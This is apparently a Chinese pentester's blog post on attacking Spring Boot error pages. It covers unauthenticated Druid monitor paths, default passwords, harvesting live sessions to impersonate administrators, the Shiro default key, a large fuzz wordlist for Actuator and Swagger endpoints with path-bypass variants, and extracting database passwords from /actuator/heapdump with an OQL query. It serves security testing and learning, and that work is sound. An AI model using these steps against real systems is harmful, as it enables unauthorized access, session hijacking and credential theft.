Druid monitor 与Springboot常见报错界面渗透小技巧
目录
前言
1.Druid monitor介绍
2.Druid未授权(1rank)
3.druid弱口令
4.Druid进一步利用
4.1 URL监控
4.2 Session监控
利用思路
EditThisCookie(小饼干插件)
5.SpringBoot Actuator未授权访问漏洞
5.1 简介
5.2 具体利用
5.3 个人利用方式
5.4 fuzz字典
5.5 使用工具
1. SpringBoot-Scan
2. 存在误报的情况
3. 出现端点泄露站点
4. 进一步利用
4.1 heapdump泄露
4.2 SwaggerUI泄露
6.总结
前言
最近回顾看一下上心师傅在上课时分享的渗透思路,结合我个人的实战案例与利用方式加以总结和记录,其中包含上心师傅上课时讲的我之前遇到过的Springboot报错界面druid的渗透思路以及我自己在springboot界面遇到的漏洞利用方式进行总结,下面的思路中的漏洞都是我遇到过的,刚好进行一波复盘.
免责声明
博文中涉及的方法可能带有危害性,博文中的图片中的域名展示仅供参考,并不具有威胁性,仅供安全研究与教学之用,读者将其方法用作做其他用途,由读者承担全部法律及连带责任,文章作者不负任何责任.
下面是上心师傅上课讲的一些思路与我个人当时想到的思路与方式:
1.Druid monitor介绍
Druid是一个非常好用的数据库连接池,但是他的好并不止体现在作为一个连接池加快数据访问性能上和连接管理上,他带有一个强大的监控工具:Druid Monitor。不仅可以监控数据源和慢查询,还可以监控Web应用、URI监控、Session监控、Spring监控。
想知道如何进行在本地搭建的师傅可以看下面师傅的这篇文章
Druid Monitor监控-CSDN博客https://blog.csdn.net/rgh520219/article/details/103107914#:~:text=Druid%E6%98%AF%E4%B8%80%E4%B8%AA%E9%9D%9E%E5%B8%B8%E5%A5%BD%E7%94%A8%E7%9A%84%E6%95%B0%E6%8D%AE%E5%BA%93%E8%BF%9E%E6%8E%A5%E6%B1%A0%EF%BC%8C%E4%BD%86%E6%98%AF%E4%BB%96%E7%9A%84%E5%A5%BD%E5%B9%B6%E4%B8%8D%E6%AD%A2%E4%BD%93%E7%8E%B0%E5%9C%A8%E4%BD%9C%E4%B8%BA%E4%B8%80%E4%B8%AA%E8%BF%9E%E6%8E%A5%E6%B1%A0%E5%8A%A0%E5%BF%AB%E6%95%B0%E6%8D%AE%E8%AE%BF%E9%97%AE%E6%80%A7%E8%83%BD%E4%B8%8A%E5%92%8C%E8%BF%9E%E6%8E%A5%E7%AE%A1%E7%90%86%E4%B8%8A%EF%BC%8C%E4%BB%96%E5%B8%A6%E6%9C%89%E4%B8%80%E4%B8%AA%E5%BC%BA%E5%A4%A7%E7%9A%84%E7%9B%91%E6%8E%A7%E5%B7%A5%E5%85%B7%EF%BC%9ADruid,Monitor%E3%80%82%20%E4%B8%8D%E4%BB%85%E5%8F%AF%E4%BB%A5%E7%9B%91%E6%8E%A7%E6%95%B0%E6%8D%AE%E6%BA%90%E5%92%8C%E6%85%A2%E6%9F%A5%E8%AF%A2%EF%BC%8C%E8%BF%98%E5%8F%AF%E4%BB%A5%E7%9B%91%E6%8E%A7Web%E5%BA%94%E7%94%A8%E3%80%81URI%E7%9B%91%E6%8E%A7%E3%80%81Session%E7%9B%91%E6%8E%A7%E3%80%81Spring%E7%9B%91%E6%8E%A7%E3%80%82
2.Druid未授权(1rank)
在springboot常见报错界面直接拼接常见路径(可构造未授权拼接尝试):
html:
ip/druid/index.html ##Druid Index
ip/druid/sql.html ##Druid sql监控页面
ip/druid/weburi.html ##Druid Web URI监控页面
ip/druid/websession.html ##Druid Web Session监控页面
json:
ip/druid/weburi.json ##Druid Web URI json
ip/druid/websession.json ##Druid Web Session json
Druid 登录接口:
ip/druid/login.html ##Druid登录认证页面
下面就是springboot常见的爆粗界面
未授权,就是如下这种情况,经典springboot报错.我通常会尝试拼接/druid看是否会直接进入后台页面,或是出现登录界面
或是出现登录界面拼接上面路径下对应的下面路径,看能进入出现如下图所示的页面,代表存在druid未授权,1 rank到手
下面的接口路径是url如果是第一条,出现登录界面,可以尝试下面的语句,看是否存在未授权登录
如下图所示,拼接/druid后出现登录界面,尝试弱口令无法进入,尝试拼接未授权页面,发现进入后台页面
如果出现登录界面无法弱口令尝试无效时,可尝试通过未授权进入
/druid/login.html
/druid/index.html
/prod-api/druid/login.html
/prod-api/druid/index.html
/dev-api/druid/login.html
/dev-api/druid/index.html
/api/druid/login.html
/api/druid/index.html
/admin/druid/login.html
/admin-api/druid/login.html
3.druid弱口令
ruoyi/123456 是我个人碰到的常见组合
常见用户:admin ruoyi druid
常见密码:123456 12345 ruoyi admin druid admin123 admin888
4.Druid进一步利用
其中 URL Session Spring这三个我们需要重点关注的监控
4.1 URL监控
URL监控可以实时查看别人访问的url路径,这里我们可以去查看有没有一些敏感信息的接口,比如说获取用户信息的一些接口,登录界面(可以和下面进行配合)等
可惜我当时监控的时候,并没有什么有价值的路径,但是可以耐心等待,如果有管理员或其他用户访问一些重要的信息的接口话,访问后获取到信息就能拿到中危以及高危了,这里接口也比较少,我就尝试了几个
/page/list
/page/info/2
/page/control/params/list/2
/page/control/params/7
/media/video/list/page
/media/video/list
/media/image/list/3
/media/image/list/2
/media/image/list/1
出现下面的代表有权限访问,并且成功拿到数据,如果出现401显示未授权的话,那就要利用到下面的Session监控了,当然有可能接口时POST请求的话,就要通过burp抓包了
假如说在url中出现下面两的url
/xx.action
/xxx.do
都可以打一波Struts2最终getshell
低版本默认 shiro 默认 key:kPH+bIxk5D2deziIxcaaaA==
4.2 Session监控
利用思路
如果出现上面访问接口时出现401如果我们要获取数据,就得想办法拿到更高的权限了,可以通过查看Session监控,因为这个也是实时监控的,所以做好等工作或是上班时间,可能访问的用户会多一些,出现session后,我们可以将页面中的Seesion数据收集起来,通过burp尝试去跑
如果是未授权进来的话,只需要在跑URL接口的数据时,进行Session遍历,查看是否获取到了数据,我们的目的就是找到管理员或是更高权限的用户的session
如果是登录界面的,我们可以在登录界面进行抓包,然后将session替换为获取到的session遍历,然后查看是否进入,进入的话我们在进行抓包然后上面的接口获取数据的操作
EditThisCookie(小饼干插件)
具体如何使用可以看下面师傅的这篇博文
EditThisCookie使用-CSDN博客https://blog.csdn.net/ss810540895/article/details/109775087
5.SpringBoot Actuator未授权访问漏洞
这个漏洞也是Springboot报错页面常见的漏洞之一我也捡到过一个洞,具体利用方式如下
5.1 简介
Spring Boot Actuator是Spring Boot项目中的一个模块,它提供了一组用于监控和管理Spring Boot应用程序的端点。这些端点可以用来检索应用程序的运行状态、查看应用程序的统计数据、查看应用程序中的配置信息等。此外,还可以使用Actuator执行一些安全操作,如关闭应用程序。使用Actuator可以更好的监控、管理和维护Spring Boot应用程序。
5.2 具体利用
尝试在报错界面拼接下面的端点,当然如果拼接无法返回数据的话,也有可能是api的路径不对,尝试fuzz目录或是接口,然后再进行拼接
其中以下是它端点:
Http | 路径 | 描述 |
---|---|---|
get | /autoconfig | 提供了一份自动配置报告,记录哪些自动配置条件通过了,哪些没通过 |
get | /configprops | 描述配置属性(包含默认值)如何注入 Bean |
get | /beans | 描述应用程序上下文里全部的 Bean,以及它们的关系 |
get | /dump | 获取线程活动的快照 |
get | /env | 获取全部环境属性 |
get | /env/{name} | 根据名称获取特定的环境属性值 |
get | /health | 报告应用程序的健康指标,这些值由 HealthIndicator 的实现类提供 |
get | /info | 获取应用程序的定制信息,这些信息由 info 打头的属性提供 |
get | /mappings | 描述全部的 URI 路径,以及它们和控制器(包含 Actuator 端点)的映射关系 |
get | /metrics | 报告各种应用程序度量信息,比如内存用量和 HTTP 请求计数 |
get | /metrics/{name} | 报告指定名称的应用程序度量值 |
post | /shutdown | 关闭应用程序,要求 endpoints.shutdown.enabled 设置为 true(默认为 false) |
get | /trace | 提供基本的 HTTP 请求跟踪信息(时间戳、HTTP 头等) |
get | /heapdump | 获取正在运行的JVM的堆转储 |
5.3 个人利用方式
我个人会尝试选择拼接这个路径,如果出现很多端点,那么OK,可以直接搜索,比较重要的几个端点
如果设置了 management.endpoints.web.exposure.include
为 *
,就可以在 /actuator
看到所有存在的端点,截图如下:
/actuator
5.4 fuzz字典
或者尝试使用burp进行fuzz,这种时候不确定路径的时候,需要先找出准确的的API返回路径
如下所示.正常我们是在报错接口的跟路径下尝试,当然也存在可能是在别的路径下进行拼接
http://xxxx.xxx.xxx.xxx:xx/api/actuator
api-docs
actuator
actuator/./env
actuator/auditLog
actuator/auditevents
actuator/autoconfig
actuator/beans
actuator/caches
actuator/conditions
actuator/configurationMetadata
actuator/configprops
actuator/dump
actuator/env
actuator/events
actuator/exportRegisteredServices
actuator/features
actuator/flyway
actuator/health
actuator/healthcheck
actuator/httptrace
actuator/hystrix.stream
actuator/info
actuator/integrationgraph
actuator/jolokia
actuator/logfile
actuator/loggers
actuator/loggingConfig
actuator/liquibase
actuator/metrics
actuator/mappings
actuator/scheduledtasks
actuator/swagger-ui.html
actuator/prometheus
actuator/refresh
actuator/registeredServices
actuator/releaseAttributes
actuator/resolveAttributes
actuator/scheduledtasks
actuator/sessions
actuator/springWebflow
actuator/sso
actuator/ssoSessions
actuator/statistics
actuator/status
actuator/threaddump
actuator/trace
actuator/env.css
artemis-portal/artemis/env
artemis/api
artemis/api/env
auditevents
autoconfig
api
api.html
api/actuator
api/index.html
api/swagger-ui.html
api/v2/api-docs
api/v2;%0A/api-docs
api/v2;%252Ftest/api-docs
api-docs
beans
caches
cloudfoundryapplication
conditions
configprops
distv2/index.html
docs
druid
druid/index.html
druid/login.html
druid/websession.html
dubbo-provider/distv2/index.html
dump
decision/login
entity/all
env
env.css
env/(name)
eureka
flyway
gateway/actuator
gateway/actuator/auditevents
gateway/actuator/beans
gateway/actuator/conditions
gateway/actuator/configprops
gateway/actuator/env
gateway/actuator/health
gateway/actuator/httptrace
gateway/actuator/hystrix.stream
gateway/actuator/info
gateway/actuator/jolokia
gateway/actuator/logfile
gateway/actuator/loggers
gateway/actuator/mappings
gateway/actuator/metrics
gateway/actuator/scheduledtasks
gateway/actuator/swagger-ui.html
gateway/actuator/threaddump
gateway/actuator/trace
gateway/routes
health
httptrace
hystrix
info
integrationgraph
jolokia
jolokia/list
jeecg/swagger-ui
jeecg/swagger/
liquibase
list
logfile
loggers
liquibase
metrics
mappings
monitor
nacos
prod-api/actuator
prometheus
portal/conf/config.properties
portal/env/
refresh
scheduledtasks
sessions
spring-security-oauth-resource/swagger-ui.html
spring-security-rest/api/swagger-ui.html
static/swagger.json
sw/swagger-ui.html
swagger
swagger/codes
swagger/doc.json
swagger/index.html
swagger/static/index.html
swagger/swagger-ui.html
swagger-dubbo/api-docs
swagger-resources
swagger-resources/configuration/ui
swagger-resources/configuration/security
swagger-ui
swagger-ui.html
swagger-ui.html;
swagger-ui/html
swagger-ui/index.html
system/druid/index.html
system/druid/webseesion.html
threaddump
template/swagger-ui.html
trace
users
user/swagger-ui.html
version
v1/api-docs/
v2/api-docs/
v3/api-docs/
v1/swagger-resources
v2/swagger-resources
v3/swagger-resources
v1.1/swagger-ui.html
v1.1;%0A/api-docs
v1.2/swagger-ui.html
v1.2;%0A/api-docs
v1.3/swagger-ui.html
v1.3;%0A/api-docs
v1.4/swagger-ui.html
v1.4;%0A/api-docs
v1.5/swagger-ui.html
v1.5;%0A/api-docs
v1.6/swagger-ui.html
v1.6;%0A/api-docs
v1.7/swagger-ui.html
v1.7;%0A/api-docs
v1.8/swagger-ui.html
v1.8;%0A/api-docs
v1.9/swagger-ui.html
v1.9;%0A/api-docs
v2.0/swagger-ui.html
v2.0;%0A/api-docs
v2.1/swagger-ui.html
v2.1;%0A/api-docs
v2.2/swagger-ui.html
v2.2;%0A/api-docs
v2.3/swagger-ui.html
v2.3;%0A/api-docs
v1/swagger.json
v2/swagger.json
v3/swagger.json
v2;%0A/api-docs
v3;%0A/api-docs
v2;%252Ftest/api-docs
v3;%252Ftest/api-docs
webpage/system/druid/websession.html
webpage/system/druid/index.html
webroot/decision/login
webjars/springfox-swagger-ui/swagger-ui-standalone-preset.js
webjars/springfox-swagger-ui/swagger-ui-standalone-preset.js?v=2.9.2
webjars/springfox-swagger-ui/springfox.js
webjars/springfox-swagger-ui/springfox.js?v=2.9.2
webjars/springfox-swagger-ui/swagger-ui-bundle.js
webjars/springfox-swagger-ui/swagger-ui-bundle.js?v=2.9.2
%20/swagger-ui.html
5.5 使用工具
1. SpringBoot-Scan
这款工具是曾哥开发的一款对于Sprinboot未授权访问的一款工具,当然,如果自己没有判断前,可以尝试用这个工具判断一下是否为spring的站
工具包含对spring的识别,以及进行延时扫,避免扫崩站点,自己写脚本也很简单,但是有写好的好用的工具,当前用工具咯
工具会将泄露的端点以红色显示出来,无法访问的会以黄色404显示出来,出现紫色的话代表存在页面,但是因为权限的原因,无法获取到信息
2. 存在误报的情况
如果出现扫描的页面,存在页面长度一致的
3. 出现端点泄露站点
4. 进一步利用
4.1 heapdump泄露
如何进行进一步利用,目前我个人只尝试过两种利用方式,如果下面两个其中之一的端点泄露的话
尝试搜索一些关键的数据库比如mysql或是redis,看是否存在泄露,会出现脱敏现象,我们需要借助另一个端点,其中redis和mysql数据库等秘钥信息泄露,后面会使用工具将脱敏的秘钥获取到明文,只要能成功接管,那么就是高危:
/actuator/./env
/actuator/env
# 这个是进一步利用需要借助的端点
/actuator/heapdump
下面就通过我遇到过的一个站点做演示
直接Ctrl+F全局搜索,一些关键的数据库,或是自己一点一点去查看
redis
mysql
接下来访问这个路径,进行下载
/actuator/heapdump
Heap Dump文件泄露,访问路径会返回一个GZip压缩的JVM堆dump,其中是jvm heap信息,
尝试使用JVisualVM
:JDK 自带工具,供开发者用于监视,故障排除。
打开工具在左上角,的文件处将heapdump文件导入,点击堆的概述部分,在概述部分的下面点击系统属性,可以看到一部分敏感信息泄露
然后点击OQL控制台,然后在查询编辑器中输入select s.value.toString() from java.util.Hashtable$Entry s where /password/.test(s.key.toString())进行查询,可以发现
切换至类标签,在下方输入框限制检索条件java.util.Hashtable
,点击结果中第一项java.util.Hashtable$Entry
依次查看其中的敏感信息,然后this后面的值代表第几个实例例如我下面的#494,#498,按照我的经验来基本账户密码信息都在靠后的实例中,发现了root用户,以及最初查询到的密码,还有数据库名
经过使用不同工具查询,目前根据返回的密码信息,发现返回多个密码信息均为Passw0rd@123
如果想看更加详细的文章的话可以看下面这篇文章,当然很多人接触时会看不懂,我也一样
【web安全】Spring boot heapdump获取敏感信息_Java_H_InfoQ写作社区https://xie.infoq.cn/article/a4a4287321b98f5d07febc716
4.2 SwaggerUI泄露
具体就是这个接口文档泄露,出现接口泄露时,可以通过尝试调用不同接口组合来获取信息,我之前遇到过一个站点,就是通过获取到不同的接口后,需要配合其他接口获取到的id和其他的信息来进一步利用,也可以尝试通过使用工具来进行参数fuzz,当然注意删除和增加的数据接口,不要乱测试
详细的介绍太多了,这里仅做记录,如果需要进一步利用的师傅可以看下面师傅的利用,比较详细
Swagger ui接口自动化批量漏洞测试_swagger 漏洞-CSDN博客https://blog.csdn.net/qq_44159028/article/details/127878364
/actuator/swagger-ui.html
6.总结
对自己之前测试过程中遇到的Springboot页面的常见漏洞进行回顾,同时通过上心师傅的讲解,让我对druid有了进一步利用的思路,之前只是通过简单的未授权和弱口令,对于接口的利用知道但不会利用,慢慢学习,慢慢成长.